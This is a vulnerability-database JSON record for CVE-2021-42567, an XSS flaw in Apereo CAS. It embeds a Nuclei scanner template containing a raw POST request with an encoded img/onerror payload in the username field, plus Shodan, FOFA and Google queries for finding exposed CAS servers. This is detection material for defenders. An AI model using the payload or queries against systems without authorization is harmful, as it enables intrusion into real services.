{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-42567/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-42567/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-42567/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-42567/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-42567/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-42567"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-42567"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-42567.yaml",
      "nuclei_template_severity": "medium",
      "nuclei_template_yaml": "id: CVE-2021-42567\n\ninfo:\n  name: Apereo CAS Cross-Site Scripting\n  author: pdteam\n  severity: medium\n  description: Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, data theft, or defacement.\n  remediation: |\n    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.\n  reference:\n    - https://apereo.github.io/2021/10/18/restvuln/\n    - https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html\n    - https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md\n    - https://nvd.nist.gov/vuln/detail/CVE-2021-42567\n    - https://github.com/apereo/cas/releases\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2021-42567\n    cwe-id: CWE-79\n    epss-score: 0.08064\n    epss-percentile: 0.94588\n    cpe: cpe:2.3:a:apereo:central_authentication_service:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apereo\n    product: central_authentication_service\n    shodan-query:\n      - http.title:'CAS - Central Authentication Service'\n      - http.title:'cas - central authentication service'\n    fofa-query: title='cas - central authentication service'\n    google-query: intitle:'cas - central authentication service'\n  tags: cve2021,cve,apereo,xss,cas,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /cas/v1/tickets/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - '<img/src/onerror=alert(document.domain)>'\n          - 'java.util.HashMap'\n        condition: and\n\n      - type: status\n        status:\n          - 401\n# digest: 4a0a00473045022100e9c7c1371e447f0bd45796df7c6bc3de50e54b4feea992549a10585eb92ca41302203c10b317c967421ad9a221da2feecd1ee0f383f1da4586ede15f78545fe49d25:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-42567"
}